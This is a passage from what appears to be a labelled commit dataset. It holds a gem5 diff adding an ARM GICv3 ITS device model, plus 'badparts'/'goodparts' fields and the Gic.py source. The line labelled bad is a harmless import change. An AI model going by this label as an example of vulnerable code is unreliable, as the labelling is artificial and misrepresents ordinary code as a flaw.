1));\n+\n+ if (gitsCreadr.offset == queue_end) {\n+ gitsCreadr.offset = 0;\n+ }\n+}\n+\n+void\n+Gicv3Its::checkCommandQueue()\n+{\n+ if (!gitsControl.enabled || !gitsCbaser.valid)\n+ return;\n+\n+ if (gitsCwriter.offset != gitsCreadr.offset) {\n+ // writer and reader pointing to different command\n+ // entries: queue not empty.\n+ DPRINTF(ITS, \"Reading command from queue\\n\");\n+\n+ if (!pendingCommands) {\n+ auto *cmd_proc = new ItsCommand(*this);\n+\n+ runProcess(cmd_proc, nullptr);\n+ } else {\n+ DPRINTF(ITS, \"Waiting for pending command to finish\\n\");\n+ }\n+ }\n+}\n+\n+Port &\n+Gicv3Its::getPort(const std::string &if_name, PortID idx)\n+{\n+ if (if_name == \"dma\") {\n+ return dmaPort;\n+ }\n+ return BasicPioDevice::getPort(if_name, idx);\n+}\n+\n+void\n+Gicv3Its::recvReqRetry()\n+{\n+ assert(!packetsToRetry.empty());\n+\n+ while (!packetsToRetry.empty()) {\n+ ItsAction a = packetsToRetry.front();\n+\n+ assert(a.type == ItsActionType::SEND_REQ);\n+\n+ if (!dmaPort.sendTimingReq(a.pkt))\n+ break;\n+\n+ packetsToRetry.pop();\n+ }\n+}\n+\n+bool\n+Gicv3Its::recvTimingResp(PacketPtr pkt)\n+{\n+ // @todo: We need to pay for this and not just zero it out\n+ pkt->headerDelay = pkt->payloadDelay = 0;\n+\n+ ItsProcess *proc =\n+ safe_cast(pkt->popSenderState());\n+\n+ runProcessTiming(proc, pkt);\n+\n+ return true;\n+}\n+\n+ItsAction\n+Gicv3Its::runProcess(ItsProcess *proc, PacketPtr pkt)\n+{\n+ if (sys->isAtomicMode()) {\n+ return runProcessAtomic(proc, pkt);\n+ } else if (sys->isTimingMode()) {\n+ return runProcessTiming(proc, pkt);\n+ } else {\n+ panic(\"Not in timing or atomic mode\\n\");\n+ }\n+}\n+\n+ItsAction\n+Gicv3Its::runProcessTiming(ItsProcess *proc, PacketPtr pkt)\n+{\n+ ItsAction action = proc->run(pkt);\n+\n+ switch (action.type) {\n+ case ItsActionType::SEND_REQ:\n+ action.pkt->pushSenderState(proc);\n+\n+ if (packetsToRetry.empty() &&\n+ dmaPort.sendTimingReq(action.pkt)) {\n+\n+ } else {\n+ packetsToRetry.push(action);\n+ }\n+ break;\n+\n+ case ItsActionType::TERMINATE:\n+ delete proc;\n+ if (!pendingCommands && !commandEvent.scheduled()) {\n+ schedule(commandEvent, clockEdge());\n+ }\n+ break;\n+\n+ default:\n+ panic(\"Unknown action\\n\");\n+ }\n+\n+ return action;\n+}\n+\n+ItsAction\n+Gicv3Its::runProcessAtomic(ItsProcess *proc, PacketPtr pkt)\n+{\n+ ItsAction action;\n+ Tick delay = 0;\n+ bool terminate = false;\n+\n+ do {\n+ action = proc->run(pkt);\n+\n+ switch (action.type) {\n+ case ItsActionType::SEND_REQ:\n+ delay += dmaPort.sendAtomic(action.pkt);\n+ pkt = action.pkt;\n+ break;\n+\n+ case ItsActionType::TERMINATE:\n+ delete proc;\n+ terminate = true;\n+ break;\n+\n+ default:\n+ panic(\"Unknown action\\n\");\n+ }\n+\n+ } while (!terminate);\n+\n+ action.delay = delay;\n+\n+ return action;\n+}\n+\n+void\n+Gicv3Its::translate(PacketPtr pkt)\n+{\n+ DPRINTF(ITS, \"Starting Translation Request\\n\");\n+\n+ auto *proc = new ItsTranslation(*this);\n+ runProcess(proc, pkt);\n+}\n+\n+Gicv3Redistributor*\n+Gicv3Its::getRedistributor(uint64_t rd_base)\n+{\n+ if (gitsTyper.pta == 1) {\n+ // RDBase is a redistributor address\n+ return gic->getRedistributorByAddr(rd_base << 16);\n+ } else {\n+ // RDBase is a redistributor number\n+ return gic->getRedistributor(rd_base);\n+ }\n+}\n+\n+Addr\n+Gicv3Its::pageAddress(Gicv3Its::ItsTables table)\n+{\n+ const BASER base = tableBases[table];\n+ // real address depends on page size\n+ switch (base.pageSize) {\n+ case SIZE_4K:\n+ case SIZE_16K:\n+ return mbits(base, 47, 12);\n+ case SIZE_64K:\n+ return mbits(base, 47, 16) | (bits(base, 15, 12) << 48);\n+ default:\n+ panic(\"Unsupported page size\\n\");\n+ }\n+}\n+\n+void\n+Gicv3Its::moveAllPendingState(\n+ Gicv3Redistributor *rd1, Gicv3Redistributor *rd2)\n+{\n+ const uint64_t largest_lpi_id = 1ULL << (rd1->lpiIDBits + 1);\n+ uint8_t lpi_pending_table[largest_lpi_id / 8];\n+\n+ // Copying the pending table from redistributor 1 to redistributor 2\n+ rd1->memProxy->readBlob(\n+ rd1->lpiPendingTablePtr, (uint8_t *)lpi_pending_table,\n+ sizeof(lpi_pending_table));\n+\n+ rd2->memProxy->writeBlob(\n+ rd2->lpiPendingTablePtr, (uint8_t *)lpi_pending_table,\n+ sizeof(lpi_pending_table));\n+\n+ // Clearing pending table in redistributor 2\n+ rd1->memProxy->memsetBlob(\n+ rd1->lpiPendingTablePtr,\n+ 0, sizeof(lpi_pending_table));\n+\n+ rd2->updateAndInformCPUInterface();\n+}\n+\n+Gicv3Its *\n+Gicv3ItsParams::create()\n+{\n+ return new Gicv3Its(this);\n+}\ndiff --git a/src/dev/arm/gic_v3_its.hh b/src/dev/arm/gic_v3_its.hh\nnew file mode 100644\nindex 000000000..aa0b8c805\n--- /dev/null\n+++ b/src/dev/arm/gic_v3_its.hh\n@@ -0,0 +1,518 @@\n+/*\n+ * Copyright (c) 2019 ARM Limited\n+ * All rights reserved\n+ *\n+ * The license below extends only to copyright in the software and shall\n+ * not be construed as granting a license to any other intellectual\n+ * property including but not limited to intellectual property relating\n+ * to a hardware implementation of the functionality of the software\n+ * licensed hereunder. You may use the software subject to the license\n+ * terms below provided that you ensure that this notice is replicated\n+ * unmodified and in its entirety in all distributions of the software,\n+ * modified or unmodified, in source code or in binary form.\n+ *\n+ * Redistribution and use in source and binary forms, with or without\n+ * modification, are permitted provided that the following conditions are\n+ * met: redistributions of source code must retain the above copyright\n+ * notice, this list of conditions and the following disclaimer;\n+ * redistributions in binary form must reproduce the above copyright\n+ * notice, this list of conditions and the following disclaimer in the\n+ * documentation and/or other materials provided with the distribution;\n+ * neither the name of the copyright holders nor the names of its\n+ * contributors may be used to endorse or promote products derived from\n+ * this software without specific prior written permission.\n+ *\n+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n+ * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n+ *\n+ * Authors: Giacomo Travaglini\n+ */\n+\n+#ifndef __DEV_ARM_GICV3_ITS_H__\n+#define __DEV_ARM_GICV3_ITS_H__\n+\n+#include \n+\n+#include \"base/coroutine.hh\"\n+#include \"dev/dma_device.hh\"\n+#include \"params/Gicv3Its.hh\"\n+\n+class Gicv3;\n+class Gicv3Redistributor;\n+class ItsProcess;\n+class ItsTranslation;\n+class ItsCommand;\n+\n+enum class ItsActionType\n+{\n+ INITIAL_NOP,\n+ SEND_REQ,\n+ TERMINATE,\n+};\n+\n+struct ItsAction\n+{\n+ ItsActionType type;\n+ PacketPtr pkt;\n+ Tick delay;\n+};\n+\n+/**\n+ * GICv3 ITS module. This class is just modelling a pio device with its\n+ * memory mapped registers. Most of the ITS functionalities are\n+ * implemented as processes (ItsProcess) objects, like ItsTranslation or\n+ * ItsCommand.\n+ * Main job of Gicv3Its is to spawn those processes upon receival of packets.\n+ */\n+class Gicv3Its : public BasicPioDevice\n+{\n+ friend class ::ItsProcess;\n+ friend class ::ItsTranslation;\n+ friend class ::ItsCommand;\n+ public:\n+ class DataPort : public MasterPort\n+ {\n+ protected:\n+ Gicv3Its &its;\n+\n+ public:\n+ DataPort(const std::string &_name, Gicv3Its &_its) :\n+ MasterPort(_name, &_its),\n+ its(_its)\n+ {}\n+\n+ virtual ~DataPort() {}\n+\n+ bool recvTimingResp(PacketPtr pkt) { return its.recvTimingResp(pkt); }\n+ void recvReqRetry() { return its.recvReqRetry(); }\n+ };\n+\n+ DataPort dmaPort;\n+\n+ Port & getPort(const std::string &if_name, PortID idx) override;\n+ bool recvTimingResp(PacketPtr pkt);\n+ void recvReqRetry();\n+\n+ Gicv3Its(const Gicv3ItsParams *params);\n+\n+ void setGIC(Gicv3 *_gic);\n+\n+ static const uint32_t itsControl = 0x0;\n+ static const uint32_t itsTranslate = 0x10000;\n+\n+ // Address range part of Control frame\n+ static const AddrRange GITS_BASER;\n+\n+ static const uint32_t NUM_BASER_REGS = 8;\n+\n+ enum : Addr\n+ {\n+ // Control frame\n+ GITS_CTLR = itsControl + 0x0000,\n+ GITS_IIDR = itsControl + 0x0004,\n+ GITS_TYPER = itsControl + 0x0008,\n+ GITS_CBASER = itsControl + 0x0080,\n+ GITS_CWRITER = itsControl + 0x0088,\n+ GITS_CREADR = itsControl + 0x0090,\n+\n+ // Translation frame\n+ GITS_TRANSLATER = itsTranslate + 0x0040\n+ };\n+\n+ AddrRangeList getAddrRanges() const override;\n+\n+ Tick read(PacketPtr pkt) override;\n+ Tick write(PacketPtr pkt) override;\n+\n+ DrainState drain() override;\n+ void serialize(CheckpointOut & cp) const override;\n+ void unserialize(CheckpointIn & cp) override;\n+\n+ void translate(PacketPtr pkt);\n+\n+ BitUnion32(CTLR)\n+ Bitfield<31> quiescent;\n+ Bitfield<7, 4> itsNumber;\n+ Bitfield<1> imDe;\n+ Bitfield<0> enabled;\n+ EndBitUnion(CTLR)\n+\n+ // Command read/write, (CREADR, CWRITER)\n+ BitUnion64(CRDWR)\n+ Bitfield<19, 5> offset;\n+ Bitfield<0> retry;\n+ Bitfield<0> stalled;\n+ EndBitUnion(CRDWR)\n+\n+ BitUnion64(CBASER)\n+ Bitfield<63> valid;\n+ Bitfield<61, 59> innerCache;\n+ Bitfield<55, 53> outerCache;\n+ Bitfield<51, 12> physAddr;\n+ Bitfield<11, 10> shareability;\n+ Bitfield<7, 0> size;\n+ EndBitUnion(CBASER)\n+\n+ BitUnion64(BASER)\n+ Bitfield<63> valid;\n+ Bitfield<62> indirect;\n+ Bitfield<61, 59> innerCache;\n+ Bitfield<58, 56> type;\n+ Bitfield<55, 53> outerCache;\n+ Bitfield<52, 48> entrySize;\n+ Bitfield<47, 12> physAddr;\n+ Bitfield<11, 10> shareability;\n+ Bitfield<9, 8> pageSize;\n+ Bitfield<7, 0> size;\n+ EndBitUnion(BASER)\n+\n+ BitUnion64(TYPER)\n+ Bitfield<37> vmovp;\n+ Bitfield<36> cil;\n+ Bitfield<35, 32> cidBits;\n+ Bitfield<31, 24> hcc;\n+ Bitfield<19> pta;\n+ Bitfield<18> seis;\n+ Bitfield<17, 13> devBits;\n+ Bitfield<12, 8> idBits;\n+ Bitfield<7, 4> ittEntrySize;\n+ Bitfield<2> cct;\n+ Bitfield<1> _virtual;\n+ Bitfield<0> physical;\n+ EndBitUnion(TYPER)\n+\n+ CTLR gitsControl;\n+ TYPER gitsTyper;\n+ CBASER gitsCbaser;\n+ CRDWR gitsCreadr;\n+ CRDWR gitsCwriter;\n+ uint32_t gitsIidr;\n+ uint32_t gitsTranslater;\n+\n+ std::vector tableBases;\n+\n+ /**\n+ * Returns TRUE if the eventID supplied has bits above the implemented\n+ * size or above the itt_range\n+ */\n+ bool idOutOfRange(uint32_t event_id, uint8_t itt_range) const;\n+\n+ /**\n+ * Returns TRUE if the value supplied has bits above the implemented range\n+ * or if the value supplied exceeds the maximum configured size in the\n+ * appropriate GITS_BASER\n+ */\n+ bool deviceOutOfRange(uint32_t device_id) const;\n+\n+ /**\n+ * Returns TRUE if the value (size) supplied exceeds the maximum\n+ * allowed by GITS_TYPER.ID_bits. Size is the parameter which is\n+ * passed to the ITS via the MAPD command and is stored in the\n+ * DTE.ittRange field.\n+ */\n+ bool sizeOutOfRange(uint32_t size) const;\n+\n+ /**\n+ * Returns TRUE if the value supplied has bits above the implemented range\n+ * or if the value exceeds the total number of collections supported in\n+ * hardware and external memory\n+ */\n+ bool collectionOutOfRange(uint32_t collection_id) const;\n+\n+ /**\n+ * Returns TRUE if the value supplied is larger than that permitted by\n+ * GICD_TYPER.IDbits or not in the LPI range and is not 1023\n+ */\n+ bool lpiOutOfRange(uint32_t intid) const;\n+\n+ private: // Command\n+ void checkCommandQueue();\n+ void incrementReadPointer();\n+\n+ public: // TableWalk\n+ BitUnion64(DTE)\n+ Bitfield<57, 53> ittRange;\n+ Bitfield<52, 1> ittAddress;\n+ Bitfield<0> valid;\n+ EndBitUnion(DTE)\n+\n+ BitUnion64(ITTE)\n+ Bitfield<59, 46> vpeid;\n+ Bitfield<45, 30> icid;\n+ Bitfield<29, 16> intNumHyp;\n+ Bitfield<15, 2> intNum;\n+ Bitfield<1> intType;\n+ Bitfield<0> valid;\n+ EndBitUnion(ITTE)\n+\n+ BitUnion64(CTE)\n+ Bitfield<40, 1> rdBase;\n+ Bitfield<0> valid;\n+ EndBitUnion(CTE)\n+\n+ enum InterruptType\n+ {\n+ VIRTUAL_INTERRUPT = 0,\n+ PHYSICAL_INTERRUPT = 1\n+ };\n+\n+ private:\n+ Gicv3Redistributor* getRedistributor(uint64_t rd_base);\n+ Gicv3Redistributor* getRedistributor(CTE cte)\n+ {\n+ return getRedistributor(cte.rdBase);\n+ }\n+\n+ ItsAction runProcess(ItsProcess *proc, PacketPtr pkt);\n+ ItsAction runProcessTiming(ItsProcess *proc, PacketPtr pkt);\n+ ItsAction runProcessAtomic(ItsProcess *proc, PacketPtr pkt);\n+\n+ enum ItsTables\n+ {\n+ DEVICE_TABLE = 1,\n+ VPE_TABLE = 2,\n+ TRANSLATION_TABLE = 3,\n+ COLLECTION_TABLE = 4\n+ };\n+\n+ enum PageSize\n+ {\n+ SIZE_4K,\n+ SIZE_16K,\n+ SIZE_64K\n+ };\n+\n+ Addr pageAddress(enum ItsTables table);\n+\n+ void moveAllPendingState(\n+ Gicv3Redistributor *rd1, Gicv3Redistributor *rd2);\n+\n+ private:\n+ std::queue packetsToRetry;\n+ uint32_t masterId;\n+ Gicv3 *gic;\n+ EventFunctionWrapper commandEvent;\n+\n+ bool pendingCommands;\n+ uint32_t pendingTranslations;\n+};\n+\n+/**\n+ * ItsProcess is a base coroutine wrapper which is spawned by\n+ * the Gicv3Its module when the latter needs to perform different\n+ * actions, like translating a peripheral's MSI into an LPI\n+ * (See derived ItsTranslation) or processing a Command from the\n+ * ITS queue (ItsCommand).\n+ * The action to take is implemented by the method:\n+ *\n+ * virtual void main(Yield &yield) = 0;\n+ * It's inheriting from Packet::SenderState since the generic process\n+ * will be stopped (we are using coroutines) and sent with the packet\n+ * to memory when doing table walks.\n+ * When Gicv3Its receives a response, it will resume the coroutine from\n+ * the point it stopped when yielding.\n+ */\n+class ItsProcess : public Packet::SenderState\n+{\n+ public:\n+ using DTE = Gicv3Its::DTE;\n+ using ITTE = Gicv3Its::ITTE;\n+ using CTE = Gicv3Its::CTE;\n+ using Coroutine = m5::Coroutine;\n+ using Yield = Coroutine::CallerType;\n+\n+ ItsProcess(Gicv3Its &_its);\n+ virtual ~ItsProcess();\n+\n+ /** Returns the Gicv3Its name. Mainly used for DPRINTS */\n+ const std::string name() const;\n+\n+ ItsAction run(PacketPtr pkt);\n+\n+ protected:\n+ void reinit();\n+ virtual void main(Yield &yield) = 0;\n+\n+ void writeDeviceTable(Yield &yield, uint32_t device_id, DTE dte);\n+\n+ void writeIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id, ITTE itte);\n+\n+ void writeIrqCollectionTable(\n+ Yield &yield, uint32_t collection_id, CTE cte);\n+\n+ uint64_t readDeviceTable(\n+ Yield &yield, uint32_t device_id);\n+\n+ uint64_t readIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id);\n+\n+ uint64_t readIrqCollectionTable(Yield &yield, uint32_t collection_id);\n+\n+ void doRead(Yield &yield, Addr addr, void *ptr, size_t size);\n+ void doWrite(Yield &yield, Addr addr, void *ptr, size_t size);\n+ void terminate(Yield &yield);\n+\n+ protected:\n+ Gicv3Its &its;\n+\n+ private:\n+ std::unique_ptr coroutine;\n+};\n+\n+/**\n+ * An ItsTranslation is created whenever a peripheral writes a message in\n+ * GITS_TRANSLATER (MSI). In this case main will simply do the table walks\n+ * until it gets a redistributor and an INTID. It will then raise the\n+ * LPI interrupt to the target redistributor.\n+ */\n+class ItsTranslation : public ItsProcess\n+{\n+ public:\n+ ItsTranslation(Gicv3Its &_its);\n+ ~ItsTranslation();\n+\n+ protected:\n+ void main(Yield &yield) override;\n+\n+ std::pair\n+ translateLPI(Yield &yield, uint32_t device_id, uint32_t event_id);\n+};\n+\n+/**\n+ * An ItsCommand is created whenever there is a new command in the command\n+ * queue. Only one command can be executed per time.\n+ * main will firstly read the command from memory and then it will process\n+ * it.\n+ */\n+class ItsCommand : public ItsProcess\n+{\n+ public:\n+ union CommandEntry\n+ {\n+ struct\n+ {\n+ uint32_t type;\n+ uint32_t deviceId;\n+ uint32_t eventId;\n+ uint32_t pintId;\n+\n+ uint32_t data[4];\n+ };\n+ uint64_t raw[4];\n+ };\n+\n+ enum CommandType : uint32_t\n+ {\n+ CLEAR = 0x04,\n+ DISCARD = 0x0F,\n+ INT = 0x03,\n+ INV = 0x0C,\n+ INVALL = 0x0D,\n+ MAPC = 0x09,\n+ MAPD = 0x08,\n+ MAPI = 0x0B,\n+ MAPTI = 0x0A,\n+ MOVALL = 0x0E,\n+ MOVI = 0x01,\n+ SYNC = 0x05,\n+ VINVALL = 0x2D,\n+ VMAPI = 0x2B,\n+ VMAPP = 0x29,\n+ VMAPTI = 0x2A,\n+ VMOVI = 0x21,\n+ VMOVP = 0x22,\n+ VSYNC = 0x25\n+ };\n+\n+ ItsCommand(Gicv3Its &_its);\n+ ~ItsCommand();\n+\n+ protected:\n+ /**\n+ * Dispatch entry is a metadata struct which contains information about\n+ * the command (like the name) and the function object implementing\n+ * the command.\n+ */\n+ struct DispatchEntry\n+ {\n+ using ExecFn = std::function;\n+\n+ DispatchEntry(std::string _name, ExecFn _exec)\n+ : name(_name), exec(_exec)\n+ {}\n+\n+ std::string name;\n+ ExecFn exec;\n+ };\n+\n+ using DispatchTable = std::unordered_map<\n+ std::underlying_type::type, DispatchEntry>;\n+\n+ static DispatchTable cmdDispatcher;\n+\n+ static std::string commandName(uint32_t cmd);\n+\n+ void main(Yield &yield) override;\n+\n+ void readCommand(Yield &yield, CommandEntry &command);\n+ void processCommand(Yield &yield, CommandEntry &command);\n+\n+ // Commands\n+ void clear(Yield &yield, CommandEntry &command);\n+ void discard(Yield &yield, CommandEntry &command);\n+ void mapc(Yield &yield, CommandEntry &command);\n+ void mapd(Yield &yield, CommandEntry &command);\n+ void mapi(Yield &yield, CommandEntry &command);\n+ void mapti(Yield &yield, CommandEntry &command);\n+ void movall(Yield &yield, CommandEntry &command);\n+ void movi(Yield &yield, CommandEntry &command);\n+ void sync(Yield &yield, CommandEntry &command);\n+ void doInt(Yield &yield, CommandEntry &command);\n+ void inv(Yield &yield, CommandEntry &command);\n+ void invall(Yield &yield, CommandEntry &command);\n+ void vinvall(Yield &yield, CommandEntry &command);\n+ void vmapi(Yield &yield, CommandEntry &command);\n+ void vmapp(Yield &yield, CommandEntry &command);\n+ void vmapti(Yield &yield, CommandEntry &command);\n+ void vmovi(Yield &yield, CommandEntry &command);\n+ void vmovp(Yield &yield, CommandEntry &command);\n+ void vsync(Yield &yield, CommandEntry &command);\n+\n+ protected: // Helpers\n+ bool idOutOfRange(CommandEntry &command, DTE dte) const\n+ {\n+ return its.idOutOfRange(command.eventId, dte.ittRange);\n+ }\n+\n+ bool deviceOutOfRange(CommandEntry &command) const\n+ {\n+ return its.deviceOutOfRange(command.deviceId);\n+ }\n+\n+ bool sizeOutOfRange(CommandEntry &command) const\n+ {\n+ const auto size = bits(command.raw[1], 4, 0);\n+ const auto valid = bits(command.raw[2], 63);\n+ if (valid)\n+ return its.sizeOutOfRange(size);\n+ else\n+ return false;\n+ }\n+\n+ bool collectionOutOfRange(CommandEntry &command) const\n+ {\n+ return its.collectionOutOfRange(bits(command.raw[2], 15, 0));\n+ }\n+};\n+\n+#endif\ndiff --git a/src/dev/arm/gic_v3_redistributor.hh b/src/dev/arm/gic_v3_redistributor.hh\nindex 8d7de3d7a..29ff8672d 100644\n--- a/src/dev/arm/gic_v3_redistributor.hh\n+++ b/src/dev/arm/gic_v3_redistributor.hh\n@@ -37,6 +37,7 @@\n \n class Gicv3CPUInterface;\n class Gicv3Distributor;\n+class Gicv3Its;\n \n class Gicv3Redistributor : public Serializable\n {\n@@ -44,6 +45,7 @@ class Gicv3Redistributor : public Serializable\n \n friend class Gicv3CPUInterface;\n friend class Gicv3Distributor;\n+ friend class Gicv3Its;\n \n protected:\n \n", "message": "", "files": {"/src/dev/arm/Gic.py": {"changes": [{"diff": "\n from m5.SimObject import SimObject\n \n-from m5.objects.Device import PioDevice\n+from m5.objects.Device import PioDevice, BasicPioDevice\n from m5.objects.Platform import Platform\n \n class BaseGic(PioDevice):\n", "add": 1, "remove": 1, "filename": "/src/dev/arm/Gic.py", "badparts": ["from m5.objects.Device import PioDevice"], "goodparts": ["from m5.objects.Device import PioDevice, BasicPioDevice"]}], "source": "\n from m5.params import * from m5.proxy import * from m5.util.fdthelper import * from m5.SimObject import SimObject from m5.objects.Device import PioDevice from m5.objects.Platform import Platform class BaseGic(PioDevice): type='BaseGic' abstract=True cxx_header=\"dev/arm/base_gic.hh\" platform=Param.Platform(Parent.any, \"Platform this device is part of.\") gicd_iidr=Param.UInt32(0, \"Distributor Implementer Identification Register\") gicd_pidr=Param.UInt32(0, \"Peripheral Identification Register\") gicc_iidr=Param.UInt32(0, \"CPU Interface Identification Register\") gicv_iidr=Param.UInt32(0, \"VM CPU Interface Identification Register\") class ArmInterruptPin(SimObject): type='ArmInterruptPin' cxx_header=\"dev/arm/base_gic.hh\" cxx_class=\"ArmInterruptPinGen\" abstract=True platform=Param.Platform(Parent.any, \"Platform with interrupt controller\") num=Param.UInt32(\"Interrupt number in GIC\") class ArmSPI(ArmInterruptPin): type='ArmSPI' cxx_header=\"dev/arm/base_gic.hh\" cxx_class=\"ArmSPIGen\" class ArmPPI(ArmInterruptPin): type='ArmPPI' cxx_header=\"dev/arm/base_gic.hh\" cxx_class=\"ArmPPIGen\" class GicV2(BaseGic): type='GicV2' cxx_header=\"dev/arm/gic_v2.hh\" dist_addr=Param.Addr(\"Address for distributor\") cpu_addr=Param.Addr(\"Address for cpu\") cpu_size=Param.Addr(0x2000, \"Size of cpu register bank\") dist_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to distributor\") cpu_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to cpu interface\") int_latency=Param.Latency('10ns', \"Delay for interrupt to get to CPU\") it_lines=Param.UInt32(128, \"Number of interrupt lines supported(max=1020)\") gem5_extensions=Param.Bool(False, \"Enable gem5 extensions\") class Gic400(GicV2): \"\"\" As defined in: \"ARM Generic Interrupt Controller Architecture\" version 2.0 \"CoreLink GIC-400 Generic Interrupt Controller\" revision r0p1 \"\"\" gicd_pidr=0x002bb490 gicd_iidr=0x0200143B gicc_iidr=0x0202143B gicv_iidr=gicc_iidr class Gicv2mFrame(SimObject): type='Gicv2mFrame' cxx_header=\"dev/arm/gic_v2m.hh\" spi_base=Param.UInt32(0x0, \"Frame SPI base number\"); spi_len=Param.UInt32(0x0, \"Frame SPI total number\"); addr=Param.Addr(\"Address for frame PIO\") class Gicv2m(PioDevice): type='Gicv2m' cxx_header=\"dev/arm/gic_v2m.hh\" pio_delay=Param.Latency('10ns', \"Delay for PIO r/w\") gic=Param.BaseGic(Parent.any, \"Gic on which to trigger interrupts\") frames=VectorParam.Gicv2mFrame([], \"Power of two number of frames\") class VGic(PioDevice): type='VGic' cxx_header=\"dev/arm/vgic.hh\" gic=Param.BaseGic(Parent.any, \"Gic to use for interrupting\") platform=Param.Platform(Parent.any, \"Platform this device is part of.\") vcpu_addr=Param.Addr(0, \"Address for vcpu interfaces\") hv_addr=Param.Addr(0, \"Address for hv control\") pio_delay=Param.Latency('10ns', \"Delay for PIO r/w\") maint_int=Param.UInt32(\"HV maintenance interrupt number\") gicv_iidr=Param.UInt32(Self.gic.gicc_iidr, \"VM CPU Interface Identification Register\") def generateDeviceTree(self, state): gic=self.gic.unproxy(self) node=FdtNode(\"interrupt-controller\") node.appendCompatible([\"gem5,gic\", \"arm,cortex-a15-gic\", \"arm,cortex-a9-gic\"]) node.append(FdtPropertyWords(\" node.append(FdtPropertyWords(\" node.append(FdtProperty(\"interrupt-controller\")) regs=( state.addrCells(gic.dist_addr) + state.sizeCells(0x1000) + state.addrCells(gic.cpu_addr) + state.sizeCells(0x1000) + state.addrCells(self.hv_addr) + state.sizeCells(0x2000) + state.addrCells(self.vcpu_addr) + state.sizeCells(0x2000)) node.append(FdtPropertyWords(\"reg\", regs)) node.append(FdtPropertyWords(\"interrupts\", [1, int(self.maint_int)-16, 0xf04])) node.appendPhandle(gic) yield node class Gicv3(BaseGic): type='Gicv3' cxx_header=\"dev/arm/gic_v3.hh\" dist_addr=Param.Addr(\"Address for distributor\") dist_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to distributor\") redist_addr=Param.Addr(\"Address for redistributors\") redist_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to redistributors\") it_lines=Param.UInt32(1020, \"Number of interrupt lines supported(max=1020)\") maint_int=Param.ArmInterruptPin( \"HV maintenance interrupt.\" \"ARM strongly recommends that maintenance interrupts \" \"are configured to use INTID 25(PPI Interrupt).\") cpu_max=Param.Unsigned(256, \"Maximum number of PE. This is affecting the maximum number of \" \"redistributors\") gicv4=Param.Bool(True, \"GICv4 extension available\") ", "sourceWithComments": "# Copyright (c) 2012-2013, 2017-2018 ARM Limited\n# All rights reserved.\n#\n# The license below extends only to copyright in the software and shall\n# not be construed as granting a license to any other intellectual\n# property including but not limited to intellectual property relating\n# to a hardware implementation of the functionality of the software\n# licensed hereunder. You may use the software subject to the license\n# terms below provided that you ensure that this notice is replicated\n# unmodified and in its entirety in all distributions of the software,\n# modified or unmodified, in source code or in binary form.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met: redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer;\n# redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution;\n# neither the name of the copyright holders nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n# Authors: Andreas Sandberg\n\nfrom m5.params import *\nfrom m5.proxy import *\nfrom m5.util.fdthelper import *\nfrom m5.SimObject import SimObject\n\nfrom m5.objects.Device import PioDevice\nfrom m5.objects.Platform import Platform\n\nclass BaseGic(PioDevice):\n type = 'BaseGic'\n abstract = True\n cxx_header = \"dev/arm/base_gic.hh\"\n\n platform = Param.Platform(Parent.any, \"Platform this device is part of.\")\n\n gicd_iidr = Param.UInt32(0,\n \"Distributor Implementer Identification Register\")\n gicd_pidr = Param.UInt32(0,\n \"Peripheral Identification Register\")\n gicc_iidr = Param.UInt32(0,\n \"CPU Interface Identification Register\")\n gicv_iidr = Param.UInt32(0,\n \"VM CPU Interface Identification Register\")\n\nclass ArmInterruptPin(SimObject):\n type = 'ArmInterruptPin'\n cxx_header = \"dev/arm/base_gic.hh\"\n cxx_class = \"ArmInterruptPinGen\"\n abstract = True\n\n platform = Param.Platform(Parent.any, \"Platform with interrupt controller\")\n num = Param.UInt32(\"Interrupt number in GIC\")\n\nclass ArmSPI(ArmInterruptPin):\n type = 'ArmSPI'\n cxx_header = 